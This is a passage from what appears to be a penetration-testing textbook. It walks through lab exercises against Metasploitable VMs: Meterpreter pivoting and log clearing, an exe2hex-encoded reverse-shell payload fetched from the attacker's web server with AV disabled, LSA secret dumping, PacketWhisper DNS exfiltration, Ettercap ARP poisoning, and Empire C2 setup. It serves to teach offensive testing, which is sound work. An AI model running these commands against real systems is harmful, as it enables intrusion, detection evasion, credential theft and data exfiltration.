10.11.12.0/24 (HiddenNet) network and another interface on the 172.30.1.0/24 (Pentest-
Net) network. Based on our network topology, both the Kali Linux and Metasploitable 3 
(Windows-based) machines are on the same 172.30.1.0/24 (PentestNet) network. However, 
Metasploitable 3 (Linux-based) is connected to a hidden network, 10.11.12.0/24 (HiddenNet), 
which is unreachable by Kali Linux.

4. Next, use the ipconfig command within Meterpreter to view a list of network adapters and 
their IP addresses on the Metasploitable 3 (Windows-based) virtual machine:

Figure 10.33: Checking network interfaces

As shown in the preceding screenshot, Interface 11 is connected to the 172.30.1.0/24 (Pentest-
Net) network, the same network as Kali Linux. However, the following screenshot shows 
Interface 14 is connected to the hidden network of 10.11.12.0/24:

Figure 10.34: Checking network connections
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5. Additionally, you can use the route command to check if the compromised system has a net-
work route that is otherwise unreachable from your attacker machine (Kali Linux). This could 
indicate potential lateral movement opportunities within the network:

Figure 10.35: Checking network routes

As shown in the preceding screenshot, the compromised host has a network route to the 
10.11.12.0/24 network via interface 14. Since this network is not within the routing table of 
your Kali Linux machine, you will not be able to perform host discovery of the hidden network.

6. Next, to automatically inject a route to allow Kali Linux to pivot attacks through the compro-
mised host to the 10.11.12.0/24 network, use the following post-exploitation module within 
Meterpreter:

meterpreter > run post/multi/manage/autoroute

This command allows Meterpreter to inspect network routes found within a compromised 
host and add those routes within Kali Linux, allowing your attacker machine to pivot attacks 
to those hidden networks:

Figure 10.36: Autoroute module

7. Next, use the background command to place the Meterpreter session in the background.
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8. Use the following commands to perform a simple port scan on the hidden network to discover 
any hosts with port 80 open:

msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.11.12.0/24                  
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80                              
msf6 auxiliary(scanner/portscan/tcp) > run

As shown in the following screenshot, there’s a single host, Metasploitable 3 (Linux-based), 
within the 10.11.12.0/24 network with port 80 opened:

Figure 10.37: Port scan

As shown in the preceding screenshot, Kali Linux is now able to access hosts on the hidden 
network of 10.11.12.0/24 by pivoting the traffic through the compromised host. This technique 
will allow you to quickly discover hosts with dual-homed network connections and perform 
both lateral movement between networks and pivot attacks through a compromised host. One 
of the main benefits of using pivoting is to allow other host devices to think the attack is origi-
nating from another machine on their network, hence reducing the chances of being detected.

Having completed this exercise, you have gained the skills to discover hidden networks that are con-
nected to host devices and have learned how to perform lateral movement and pivoting. Next, you 
will learn how to clear your tracks.

Clearing tracks
Every action that occurs on a host is recorded in the form of a log message used to keep track of events 
for accountability. This means if a penetration tester performs any action on a compromised host, 
logs are also generated indicating the actions performed. Such logs are useful to the cybersecurity 
analyst and incident responders who gather evidence from a compromised system to determine what 
happened during a cyber-attack. For instance, cybersecurity analysts and incident responders not only 
gather evidence from logs but also analyze them to identify patterns of malicious activity, indicators 
of compromise (IoCs), and potential vulnerabilities.

As a penetration tester, it is important to remain as stealthy as a real hacker to test the threat detection 
systems of the organization. If the security and threat detection systems of your client are not able to 
detect your actions during a penetration test, it means they will need to tweak their security sensors 
a bit to catch a threat actor.
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Within Meterpreter, the clearev command will search and clear the system logs on the compromised 
system, as shown:

Figure 10.38: Clearing logs

Additionally, at the end of the penetration test, you need to remove any configurations, system changes, 
malware, backdoors, and anything else you have placed on the organization’s systems and networks. 
Therefore, during each stage of your penetration test, keep track of any system modifications and 
whether you have placed custom malware on a compromised device. Ensure you have cleared every-
thing before leaving the organization’s network.

Having completed this section, you have gained the skills and hands-on experience to perform vari-
ous post-exploitation techniques on a compromised host using Meterpreter. Up next, you will learn 
various techniques to perform data encoding and exfiltration using Kali Linux.

Data encoding and exfiltration
As an aspiring ethical hacker and penetration tester, gaining the skills for encoding files such as 
malicious payloads and restricted files into less suspicious file types is essentials when transferring 
executables over a network as it simply reduces the risk of threat detection during the file transfer 
process. Furthermore, understanding how to perform data exfiltration as a penetration tester will be 
very useful as some penetration testing engagements may require you to extract sensitive files from 
a network without being detected by the organization’s security team and their solutions.

Over the next couple of sections, you will learn how to encode Windows executable files in ASCII 
format and how to convert any file type into DNS queries for data exfiltration.

Encoding using exe2hex
The exe2hex tool enables a penetration tester to encode any executable files into ASCII format to 
reduce the risk of detection. This tool helps ethical hackers and penetration testers to evade threat 
detection solutions when transferring malicious payloads or restricted file types onto a Windows-based 
host on a network. exe2hex simply takes a binary executable file and encodes it into ASCII format; 
the penetration tester then transfers the ASCII file onto the targeted Windows host and executes it.

When the ASCII file is executed on the Windows host, the ASCII file is converted automatically to its 
original form using either PowerShell or debug.exe, which are both preinstalled within the Windows 
operating system.
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In this exercise, you will learn how to encode a malicious payload from an executable into a batch 
(.bat) and PowerShell (.ps1) file to reduce the risk of detection by security solutions and sensors. If 
you recall, during Chapter 8, Understanding Network Penetration Testing, we encoded the vncviewer.
exe file with specific callback information such as the IP address and listening port on Kali Linux.

Sometimes, the IP address of Kali Linux and other host devices may change within the network. If the 
IP address of the Kali Linux virtual machine is different, simply revisit Chapter 8, Understanding Network 
Penetration Testing, and create a new payload using Shellter. It’s really important that the LHOST and LPORT 
information of the malicious payload matches Kali Linux.

To get started, please use the following instructions:

1. Power on the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to encode the malicious 

vncviewer.exe file into the batch and PowerShell file types:

kali@kali:~$ /usr/bin/exe2hex -x vncviewer.exe

As shown in the following screenshot, exe2hex created two new files:

Figure 10.39: Creating batch and PowerShell files

3. Next, start a multi-handler using Metasploit on Kali Linux:

kali@kali:~$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/
migrate
msf6 exploit(multi/handler) > set LHOST 172.30.1.50
msf6 exploit(multi/handler) > set LPORT 5678
msf6 exploit(multi/handler) > exploit

4. Next, open a new Terminal on Kali Linux, and use the following commands to start a Python 
3 web server where the ASCII files are located:

kali@kali:~$ python3 -m http.server 8080

5. Next, log in to the Metasploitable 3 (Windows-based) virtual machine as the Administrator user. 
Then, open the Windows Command Prompt and use the following commands to download 
the vncviewer.cmd file onto the Desktop:
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C:\Users\Administrator> powershell
PS C:\Users\glens> Invoke-WebRequest -Uri http://172.30.1.50:8080/
vncviewer.cmd -OutFile C:\Users\Administrator\Desktop\vncviewer.cmd

The following screenshot shows the execution of the preceding commands:

Figure 10.40: Using PowerShell

6. Ensure you set the IP address of your Kali Linux virtual machine within the –Uri portion of 
the command. In addition, you can also open the web browser within the Metasploitable 3 
(Windows-based) virtual machine and go to http://<Kali-Linux-IP -address>:8080 to 
access the web server to download the vncviewer.cmd file.

Disable Windows Defender real-time protection on Windows to allow the ASCII file to reas-
semble into its original form. During the reassembly of the file, Windows Defender may detect 
it as a potentially dangerous file and block it.

7. Next, execute the vncviewer.cmd file on the Metasploitable 3 (Windows-based) virtual machine. 
You’ll begin to notice the reassembling of the ASCII code into an executable file, as shown below:

Figure 10.41: Creating an executable
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8. Once the reassembly is completed, execute the newly created file to run the malicious payload. 
The following screenshot shows the malicious payload has established a reverse shell to Kali 
Linux:

Figure 10.42: Reverse shell

As shown in preceding screenshot, the malicious vncviewer.exe application is running on the 
targeted system and has established a reverse shell to create a Meterpreter session on Kali Linux.

9. (Bonus) After compromising a system and obtaining a shell, use the post/multi/recon/local_
exploit_suggester module to enable Metasploit to check whether the compromised system 
is vulnerable to other exploitation modules. Use the following command:

meterpreter > run post/multi/recon/local_exploit_suggester

The following screenshot shows Metasploit checking multiple exploit modules against the 
targeted system:

Figure 10.43: Using the exploit suggester module
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10. After post/multi/recon/local_exploit_suggester completes its check on the targeted system, 
it provides information on which exploit modules have the potential to further compromise the 
target. Such information is very useful to identify additional vulnerabilities on a targeted system:

Figure 10.44: Listing of exploit modules

11. (Bonus) To enumerate and decrypt the Local Security Authority (LSA) secret keys from the 
registry of the compromised system, use the following commands:

meterpreter > getuid
meterpreter > getsystem
meterpreter > run post/windows/gather/lsa_secrets
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12. The getuid command helps us to determine our user privileges before extracting the LSA secret 
keys, because system-level privileges are required. The getsystem command enables us to 
easily escalate our user privileges to system level and the post/windows/gather/lsa_secrets 
module extracts and decrypts the LSA secrets for us, as shown below:

Figure 10.45: Extracting LSA secrets

Having completed this exercise, you have learned how to convert a malicious payload into ASCII to 
reduce threat detection and evade security sensors. In the next lab, you will discover how to perform 
data exfiltration using DNS messages to evade detection.

To learn more about LSA secret keys, please see https://attack.mitre.org/techniques/
T1003/004/.

https://attack.mitre.org/techniques/T1003/004/
https://attack.mitre.org/techniques/T1003/004/
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Exfiltration with PacketWhisper
In this hands-on exercise, you will learn how to perform data exfiltration using a very awesome tool 
known as PacketWhisper. This tool converts any file type from a compromised host into Domain 
Name System (DNS) query messages, which are then sent to a DNS server that is owned by a penetra-
tion tester. When the DNS queries are all captured on the DNS server, the penetration tester can then 
extract and reassemble the file into its original form from the network packets.

Using a tool such as PacketWhisper provides stealth operations as it converts any file type into DNS 
messages, and since there are many organizations that do not monitor their inbound and outbound 
DNS messages, this technique may be undetectable without having a dedicated blue team actively 
monitoring network traffic.

Furthermore, PacketWhisper enables a penetration tester to use any host, such as Kali Linux, to act 
as the DNS server to capture the incoming DNS queries from the compromised host, hence there’s no 
need to actually control a DNS server on the internet.

In this section, you will learn how to set up the environment with a Windows host as the compromised 
machine and Kali Linux as the DNS server. To get started with this exercise, please use the following 
instructions.

Part 1 – setting up the environment
1. Power on both the Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open Terminal and use the following commands to download the PacketWhisper 

repository and its compressed ZIP file:

kali@kali:~$ git clone https://github.com/TryCatchHCF/PacketWhisper
kali@kali:~$ wget https://github.com/TryCatchHCF/PacketWhisper/archive/
refs/heads/master.zip

3. You will need to download Python 2.7.18 and install it on the Metasploitable 3 (Windows-based) 
virtual machine. On Kali Linux, go to https://www.python.org/downloads/release/
python-2718/, where you will see Windows x86-64 MSI installer; simply download it.

4. Next, start the Python 3 web server on Kali Linux to transfer the Python 2.7.18 executable and 
the PacketWhisper master.zip file to the Metasploitable 3 (Windows-based) virtual machine:

kali@kali:~$ python3 -m http.server 8080

5. On Metasploitable 3 (Windows-based), open the web browser and go to http://<Kali-Linux-
IP-address>:8080 to view the contents and download the files (master.zip and python-2.7.18.
amd64.msi). Once you’ve transferred both files, extract the master.zip file only and install the 
Python 2.7.18 executable on Metasploitable 3.

6. Next, on Metasploitable 3 (Windows-based), open Windows Explorer and enter Control Panel\
System and Security\System within the address bar, then hit Enter. Then, click on Advanced 
system settings and System Properties will open. Click on Environment Variables.

https://www.python.org/downloads/release/python-2718/
https://www.python.org/downloads/release/python-2718/
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7. Under System variables, select Path and click on Edit to modify the Variable value field. In-
sert ;C:\Python27 at the end of the line and click on OK to save the settings as shown below:

Figure 10.46: Setting environment variables

Part 2 – changing the DNS settings on the targeted system
1. On Metasploitable 3 (Windows-based), open the Windows Command Prompt and use the 

following command to identify the network adapters:

C:\Users\Administrator> netsh interface ipv4 show dns

The following screenshot shows the network adapters and whether DNS server addresses are 
configured on each adapter:

Figure 10.47: Setting the IP address

If you recall, the Local Area Connection adapter is connected to the same virtual network as 
Kali Linux. Therefore, we will set the IP address of Kali Linux as the DNS server on this adapter.

2. Next, use the following commands to set the IP address of the Kali Linux virtual machine as 
the DNS server on the Metasploitable 3 (Windows-based) VM:

C:\Users\Administrator> netsh interface ipv4 set dns "Local Area 
Connection" static 172.30.1.50

The following screenshot shows the IP address of the Kali Linux virtual machine is set as the 
DNS server of Metasploitable 3 (Windows-based):
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Figure 10.48: Setting DNS server

Part 3 – performing data exfiltration
1. On Kali Linux, open the Terminal and use the following command to run TCPdump, a com-

mand-line packet-capturing tool to collect the DNS messages incoming on the eth1 adapter 
that’s connected to the 172.30.1.0/24 network:

kali@kali:~$ sudo tcpdump -i eth1 -w exfiltration.pcap

2. Next, on Metasploitable 3 (Windows-based), create a new text file within the extracted master.
zip folder. Name the text file Passwords.txt and insert a few random passwords, as shown:

Figure 10.49: Creating a sensitive file
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This file will have the role of a confidential/sensitive file to be used for data exfiltration.

3. Next, open the Windows Command Prompt with administrative privileges and use the slmgr 
/rearm command to prevent the Metasploitable 3 (Windows-based) virtual machine from 
automatically powering off. Then, restart and log in as Administrator.

4. Open the Windows Command Prompt and use the following command to start PacketWhisper:

C:\Users\Administrator> cd C:\Users\Administrator\Desktop\master\
PacketWhisper-master
C:\Users\Administrator\Desktop\master\PacketWhisper-master> python 
packetWhisper.py

5. On the PacketWhisper menu, choose option 1 to transmit a file using DNS and enter the name 
of the file for data exfiltration, as shown:

Figure 10.50: Selecting exfiltration option

6. Next, you will be prompted to enter a cloaked data filename. Simply leave it blank and hit Enter.
7. You will need to select the PacketWhisper transfer mode. Use option 1 for Random Subdomain 

FQDNs and set Ciphers to option 3 for cloudfront_prefixes, as shown:

Figure 10.51: Transfer mode
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8. Next, you will be prompted to preview a sample of how the cloaked data will be presented. You 
can enter y for yes and hit Enter to continue:

Figure 10.52: Preview of hostnames

9. Next, you will be prompted to begin the data exfiltration transfer. Enter y for yes and set the 
time delay to option 1 as recommended, as shown below:

Figure 10.53: Time delay option

The following screenshot shows PacketWhisper is sending the DNS queries to the DNS server:

Figure 10.54: Sending custom DNS packets
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This process usually takes some time to complete based on the size of the cloaked file.

10. When PacketWhisper has completed the data exfiltration process, stop the capture on TCPdump 
by pressing CTRL+C to save the capture on Kali Linux:

Figure 10.55: TCPdump collecting inbound packets

11. Next, copy the exfiltration.pcap file to the PacketWhisper folder within Kali Linux, using 
the following commands:

kali@kali:~$ cp exfiltration.pcap PacketWhisper/

Part 4 – reassembling data
1. To extract the data from the packet capture, open Terminal in Kali Linux, go to the Packet-

Whisper folder, and start PacketWhisper:

kali@kali:~/PacketWhisper$ python2.7 packetWhisper.py

2. On the PackerWhisper main menu, choose 2 to extract the file:

Figure 10.56: PacketWhisper menu
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3. Next, enter the filename of the cloaked file, which is exfiltration.pcap:

Figure 10.57: Selecting the filename

4. Next, select option 1 as PacketWhisper is currently on a Linux-based system:

Figure 10.58: OS type

5. Next, set the cipher that was used during the encoding process. Choose option 1:

Figure 10.59: Transfer type
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6. Lastly, you need to select the actual cipher format used during the encoding. Choose option 3:

Figure 10.60: Cipher type

7. Once the decloaking process is completed, the output is named as decloaked.file. Use the 
cat command to view the contents of the file:

Figure 10.61: Listing the file contents

8. As shown in the preceding screenshot, the contents are the same as the original file on the 
compromised host machine.

In this section, you have learned how to encode executables into less suspicious files and perform 
data exfiltration using Kali Linux.

To learn more about PacketWhisper, please see the official documentation at https://
github.com/TryCatchHCF/PacketWhisper.

https://github.com/TryCatchHCF/PacketWhisper
https://github.com/TryCatchHCF/PacketWhisper
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Man-in-the-Middle (MiTM) attacks
When connected to a network, whether it is wired or wireless, there are a lot of packets being sent back 
and forth between hosts. Some of these packets may contain sensitive and confidential information, 
such as usernames, passwords, password hashes, and documents, which are valuable to a penetration 
tester. While there are many secure network protocols that provide data encryption, there are many 
insecure network protocols that transmit data in plaintext.

While networking technologies have evolved over time, this is not the case for many network proto-
cols with the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite and the Open 
Systems Interconnection (OSI) networking model. There are many applications and services that 
operate on a client-server model that send sensitive data in plaintext, allowing a penetration tester to 
both intercept and capture such data. Capturing user credentials and password hashes will allow you 
to easily gain access to clients and servers within the organization’s network.

As a penetration tester, you can perform a MiTM attack, which allows you to intercept all network 
packets between a sender and a destination. To get a clear understanding of how threat actors and 
penetration testers perform MiTM attacks, let us observe the following diagram:

Figure 10.62: Network topology

As shown in the preceding diagram, if the Windows host wants to communicate with the web server, 
both devices need to know the Media Access Control (MAC) address of each other. Because a Local 
Area Network (LAN) is mostly made up of switches that operate at Layer 2 of the OSI networking model, 
these devices only read the MAC addresses found within the Layer 2 header of the frame – not the IP 
addresses within the Layer 3 header. Therefore, for communication with two or more devices on the 
same network, the destination MAC address is vital for the switch to make its forwarding decision.

If a device such as the Windows host does not know the MAC address of the web server, it will broad-
cast an Address Resolution Protocol (ARP) request message to all devices within the same network 
segment (also known as a broadcast domain). The ARP request message will contain the destination 
host’s IP address, which is referred to as the target IP address. The host on the network that is as-
signed/configured with the target IP address will respond with its MAC address with an ARP reply 
message. Within each host device, there is an ARP cache, which temporarily stores the IP-to-MAC 
address mapping of devices.
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However, ARP is one of the many protocols that wasn’t designed with security in mind. Penetration 
testers can modify the entries within the ARP cache within a network host machine. In other words, 
a penetration tester can poison the ARP cache entries by modifying the IP-to-MAC address mapping.

The following are the phases of a MITM attack:

1. To perform a MITM attack, the penetration tester needs to ensure their attack system, such 
as Kali Linux, is connected to the same network as the targets.

2. Next, the attacker sends gratuitous ARP messages that contain false IP-to-MAC address infor-
mation. The attacker will send gratuitous ARP messages to the Windows host with 172.30.1.20 

-> 08:00:27:e:23:e1, and gratuitous ARP messages to the web server with 172.30.1.21 -> 
08:00:27:e:23:e1, as shown:

Figure 10.63: ARP poisoning

3. Once both targets’ ARP cache is poisoned with the false information, their traffic is sent through 
the attacker’s machine when both targets are communicating with each other, as shown:

ARP is a network protocol used to resolve IP addresses to MAC addresses within a network. 
Most host devices have a default inactivity timer of 300 seconds on their ARP cache.
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Figure 10.64: Redirecting network traffic

This attack allows the penetration tester to intercept all communications between multiple hosts on 
the network and simply forward the packets to their destinations! An unsuspecting user will not be 
aware that their traffic is being intercepted.

While intercepting network packets, penetration testers usually run a packet capture/sniffer tool, 
such as the following:

• Wireshark: A free graphical user interface tool used by both networking and cybersecurity 
professionals to capture network packets and perform protocol analysis and troubleshooting. 
In addition to packet capture and analysis, Wireshark offers features such as protocol dissec-
tion, filtering, and statistical analysis. These capabilities are important for identifying patterns, 
anomalies, and potential security issues within network traffic.

• Tcpdump: A command line-based tool that allows cybersecurity professionals to capture net-
work traffic for analysis.

Both Wireshark and Tcpdump are excellent tools for performing packet capture and analyzing each 
packet to find sensitive information that is transmitted across a network. Keep in mind, if an application 
layer protocol encrypts the data payload within a packet, you will not be able to see the original form 
of the data without obtaining the decryption key. However, since many network protocols transmit 
data in plaintext, you will be sure to find confidential data during your penetration test.
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Intercepting traffic with MiTM attacks
In this hands-on exercise, you will learn how to use Ettercap to perform a MiTM attack between two 
host devices within the penetration testing lab topology. To get started with this exercise, please use 
the following instructions:

1. Power on the Kali Linux, Metasploitable 2, and Metasploitable 3 (Windows-based) virtual 
machines. These three devices should be all connected to the 172.30.1.0/24 network.

2. On Kali Linux, open Terminal and use Nmap to discover the IP address of the Metasploitable 
2 and Metasploitable 3 virtual machines. The Metasploitable 3 machine will function as the 
client, while the Metasploitable 2 machine will function as the web server, as shown below:

Figure 10.65: Network topology

3. On Kali Linux, use the following Ettercap commands to perform a MiTM attack between the 
two targets:

kali@kali:~$ sudo ettercap -i eth1 -T -q -S -M arp:remote /172.30.1.21// 
/172.30.1.20//

4. The following is a breakdown of the commands used with Ettercap:

• -i: Allows you to specify the interface on your attacker machine that is connected to 
the network with your targets.

• -T: Specifies the user interface as text-based output only.
• -q: Specifies quiet mode, which does not print the packet information on the terminal.
• -S: Specifies not to perform Secure Sockets Layer (SSL) forging.
• -M arp:remote: Specifies to perform a MITM attack using ARP poisoning of the target’s 

cache and sniffer remote IP connections. The remote command is usually used when 
performing a MITM attack between a client and a gateway.
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The following screenshot shows Ettercap has poisoned the targeted systems:

Figure 10.66: ARP poisoning

The following diagram shows a visual representation of the MITM attack:

Figure 10.67: MiTM
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5. Next, open Wireshark on Kali Linux and start capturing packets on eth1, which is connected 
to the 172.30.1.0/24 network:

Figure 10.68: Wireshark interface

6. Log in to the Metasploitable 3 (Windows-based) virtual machine using the Administrator user 
account. Open the web browser and go to http://<Metasploitable2-IP-address> to generate 
traffic between the targets.

On Wireshark, you will see the following packets being captured between the two targets due 
to the MiTM attack on the network:

Figure 10.69: Captured packets

7. Let’s verify Ettercap is performing ARP poisoning on the Windows host. The following screen-
shot shows the ARP cache on Metasploitable 3 (Windows-based) virtual machine:
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Figure 10.70: ARP cache

As shown in the preceding screenshot, 172.30.1.20 points to the MAC address of the attacker’s 
machine (Kali Linux). The following screenshot validates the IP address and MAC address of 
the attacker’s machine:

Figure 10.71: Network adapter

Having completed this section, you have learned the fundamentals of MiTM attacks and gained hands-
on experience in setting up a MiTM attack using Kali Linux.

Summary
Having completed this chapter, you have gained the hands-on skills and experience needed by ethical 
hackers and penetration testers that’s commonly used during the post-exploitation phase. You have 
learned how to perform pass-the-hash techniques to gain access to a targeted system without using 
the plaintext password but rather by leveraging the extracted password hashes. In addition, you have 
learned how to perform various actions using Meterpreter such as transfer files, privilege escalation, 
token stealing and impersonation, implementing persistence, and carrying out lateral movement to 
expand a foothold on the network.
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I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you in your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Chapter 11, 
Delving into Command and Control Tactics, you will learn the fundamentals of command and control 
during a penetration test.

Further reading
• Security Account Manager (SAM) file: https://www.techtarget.com/

searchenterprisedesktop/definition/Security-Accounts-Manager

• OS Credential Dumping: LSA Secrets: https://attack.mitre.org/techniques/T1003/004/
• PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
• Man-in-the-Middle attacks: https://www.rapid7.com/fundamentals/man-in-the-middle-

attacks/

• Meterpreter: https://www.offsec.com/metasploit-unleashed/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://attack.mitre.org/techniques/T1003/004/
https://github.com/TryCatchHCF/PacketWhisper
https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
https://www.offsec.com/metasploit-unleashed/ 
https://packt.link/SecNet


11
Delving into Command and 
Control Tactics

This chapter focuses on the Command and Control (C2) stage of the Cyber Kill Chain, which then 
leads to the threat actor completing the Actions on Objective phase of the cyber-attack. As an aspiring 
penetration tester, it is essential to understand the fundamentals of performing C2 operations from 
a threat actor’s perspective. This technique also helps penetration testers determine whether their 
clients’ security solutions are sufficient to detect a real-world cyber-attack and stop a threat actor’s 
C2 operation.

During the course of this chapter, you will learn the fundamentals of C2 operations during a cyber-at-
tack and how penetration testers can utilize such techniques during their penetration test exercises 
during a real-world security assessment. Furthermore, you will gain the skills to set up a C2 server 
and perform post-exploitation techniques on a compromised host on a network.

 In this chapter, we will cover the following topics:

• Understanding C2
• Setting up C2 operations
• Post-exploitation using Empire
• Working with Starkiller

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Metasploitable 3 – https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8

https://www.kali.org/get-kali/
https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8
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Understanding C2
The battle between cybersecurity professionals and threat actors is always a continuous race against 
time as to whether the threat actors are going to discover a security vulnerability on a system and 
exploit it before the cybersecurity professionals are able to identify the security flaw and implement 
countermeasures to prevent a cyber-attack. As each day goes by, cybersecurity-related news reveals 
how organizations are discovering their systems and networks have been compromised and how they 
are working on eradicating threats such as malware and recovering their systems to a working state.

However, while organizations are not always able to detect security incidents in real time and stop 
an attack, threat actors can live on their victims’ networks and systems for a long time. This enables 
threat actors to move around the network using lateral movement, escalate their user privileges with 
vertical movement, exfiltrate the organization’s data, install additional malware on the network, and 
launch attacks from the compromised systems to expand their foothold.

Threat actors and Advanced Persistent Threat (APT) groups are always thinking about clever techniques 
and strategies to compromise their next target. A technique that is commonly used by threat actors 
is implementing C2 operations to centrally manage compromised hosts over the internet. A threat 
actor will set up one or more C2 servers on the internet that serve the purpose of centrally managing 
infected and compromised systems, uploading data from the compromised hosts, and downloading 
additional malware onto newly infected devices.

Once the C2 servers are deployed on the internet, the threat actor will attempt to infect the targeted 
systems, with a bot using various techniques, ranging from social engineering campaigns to infecting 
trusted web servers to host driveby-downloads of malicious payloads on visitors’ computers. Once a 
bot is installed on a host device, it will attempt to establish a connection to its designated C2 server 
to download updates and listen for incoming instructions.

As more devices are infected over time with the bot, it becomes a botnet, an army of zombie machines 
that can be controlled by the threat actor, as shown here:

These C2 servers also serve as update servers for malware such as ransomware. When 
ransomware infects a new device, most malware is designed to establish a connection to 
designated C2 servers on the internet to download updates, which ensures cybersecurity 
professionals are not able to eradicate/remove the malware infection from the host.

A bot, short for robot, is an application that’s created by a threat actor to perform automated 
tasks such as malicious activities like performing Distributed Denial-of-Service (DDoS) 
attacks, sending spam and phishing emails to targets, and even spreading malware. Bots 
are usually installed on compromised systems and retrieve instructions from a C2 server 
that is managed by a threat actor.
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Figure 11.1: C2 operations

As shown in the preceding diagram, the threat actor controls the botnet by connecting to the C2 server 
to provide the instructions, which are then relayed to all active bots, therefore allowing a single threat 
actor to be a one-man army by instructing an entire network of zombies to perform a large-scale 
cyber-attack against a target of choice.

In the field of cybersecurity, both penetration testers and red teamers use the Tactics, Techniques, 
and Procedures (TTPs) of threat actors to simulate real-world cyber-attacks on their clients’ networks. 
One of the many objectives of performing a penetration test is that the organization may want to 
determine whether its security team has the capabilities, skills, and tools needed to identify and pre-
vent a real-world cyber-attack. By using C2 operations, penetration testers are provided with a lot of 
advantages, such as performing post-exploitation techniques on multiple compromised host devices 
simultaneously and even lateral movement across the network.

Setting up C2 operations
As an aspiring ethical hacker and penetration tester, it is essential to learn and gain the skillset to use 
popular C2 tools to help you improve your penetration testing skills and strategies during a real-world 
exercise. Empire C2 is a framework widely used by red team personnel and malicious threat actors 
and is the tool we will consider in this chapter. Empire is a post-exploitation framework that enables 
penetration testers and red teamers to set up C2 operations during their penetration tests.
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Currently, a security group known as BC Security (www.bc-security.org) is maintaining a forked 
version of the original PowerShell Empire framework known as Empire v5. BC Security has been 
providing updates and new features that allow penetration testers to perform never-before-seen 
techniques such as polymorphic payloads, stealthy C2 communication, memory-only execution, and 
living-off-the-land techniques during their live penetration tests on their customers’ networks. This 
fork version is a community-driven effort to continue the development of the tool after the original 
developers ceased their work on it.

Empire 5 enables penetration testers to set up an Empire server that functions as a C2 server and 
agents (bots) that are installed on compromised host devices on a network. Like a botnet with a C2 
server controlling all active bots on a network, the same concept is applied using Empire 5. The Em-
pire server sends instructions to the agent on a compromised host to perform actions such as lateral 
movement or retrieving sensitive data. Once an agent is running on a host, it automatically attempts 
to establish a connection to the Empire server, controlled by the penetration tester.

Imagine during a penetration test you have exploited multiple hosts on a targeted network. Having to 
perform manual tasks on each compromised host machine can be a bit challenging and maintaining 
all the reverse shells to your Kali Linux machine with Metasploit could easily become overwhelm-
ing. However, with Empire 5, you can set up one or more C2 servers to manage all the reverse shell 
connections from all the compromised hosts on the network and perform most of the advanced 
post-exploitation tasks.

One of the coolest features of Empire 5 is the ability to deploy it using a client-server model. This al-
lows you to set up a centralized C2 server anywhere, such as on the cloud or even on-premises on an 
organization’s network. You can create multiple user accounts on the Empire server to allow access 
to additional penetration testers who are working on the same penetration test engagement as you. 
They can use the Empire client to individually log in to the same Empire server and work together.

The following diagram shows the Empire client-server model:

Figure 11.2: Empire client-server model

http://www.bc-security.org
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As shown in the preceding diagram, there is an Empire server deployed during a penetration test en-
gagement and multiple penetration testers who are working on the same team connect to the Empire 
server using the Empire client running on their machines. This model allows multiple penetration 
testers to work on the same project and collaborate on the same Empire server.

Over the next couple of sections, you will learn how to set up Empire in a client-server model and 
manage users.

Part 1 – Empire client-server model
Before getting started, keep in mind that you will need two Kali Linux virtual machines. One machine 
will be hosting the Empire server while another will be used as the Empire client. For this exercise, 
we will be using two separate Kali Linux machines to demonstrate how to deploy Empire using the 
client-server model.

The following diagram provides a visual representation of the client-server model for our exercise:

Figure 11.3: Controlling the Empire server
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To get started with this exercise, please use the following instructions:

1. Open the Oracle VM VirtualBox Manager, right-click on the Kali Linux virtual machine, and 
click on Clone, as shown below:

Figure 11.4: Cloning a virtual machine
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2. Next, the Clone Virtual Machine window will appear. Select Clone type: Full clone, Snapshots: 
Current machine state, and MAC Address Policy: Generate new MAC addresses for all network 
adapters, and click on Finish, as shown below:

Figure 11.5: Clone Virtual Machine window
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3. After the cloning process is completed, the newly created clone machine will appear within 
Oracle VM VirtualBox Manager as shown below:

Figure 11.6: New virtual machine

4. Power on the main Kali Linux virtual machine (not the clone), open the Terminal, and use the 
ifconfig eth1 command to determine the IP address on the eth1 interface as shown below:

Figure 11.7: Checking interface

5. Please take note of the IP address on the eth1 network adapter as this Kali Linux machine will 
function as the Empire server, while the clone virtual machine will operate as the Empire client.

6. Next, use the following commands to start the MariaDB service and verify that the service is 
running:

kali@kali:~$ sudo systemctl start mariadb.service
kali@kali:~$ systemctl status mariadb.service
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7. The following screenshot shows the MariaDB service is running:

Figure 11.8: Checking database status

8. Next, use the following commands to start the Empire server on the main Kali Linux virtual 
machine:

kali@kali:~$ sudo powershell-empire server

9. Empire may take up to 2 minutes to get started and load all the required plugins. The following 
screenshot shows the Empire server is ready:

Figure 11.9: Showing that the Empire server is ready

10. Next, power on the Empire Client (clone of Kali Linux) virtual machine and use the following 
commands to edit the Empire client configuration file to insert the Empire server information:

kali@kali:~$ sudo nano /etc/powershell-empire/client/config.yaml

The mariadb.service does not always start immediately; wait a minute before 
trying to start the service again.

Sometimes, the virtual machine loses its IP address when running either the 
Empire client or server. Simply use the sudo ifconfig eth1 down command to 
turn down the interface, wait a few seconds, then use the sudo ifconfig eth1 
up command to re-enable the interface and connectivity will automatically be 
restored.
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11. Insert the following lines of code at the end of the Server list of the config.yaml file:

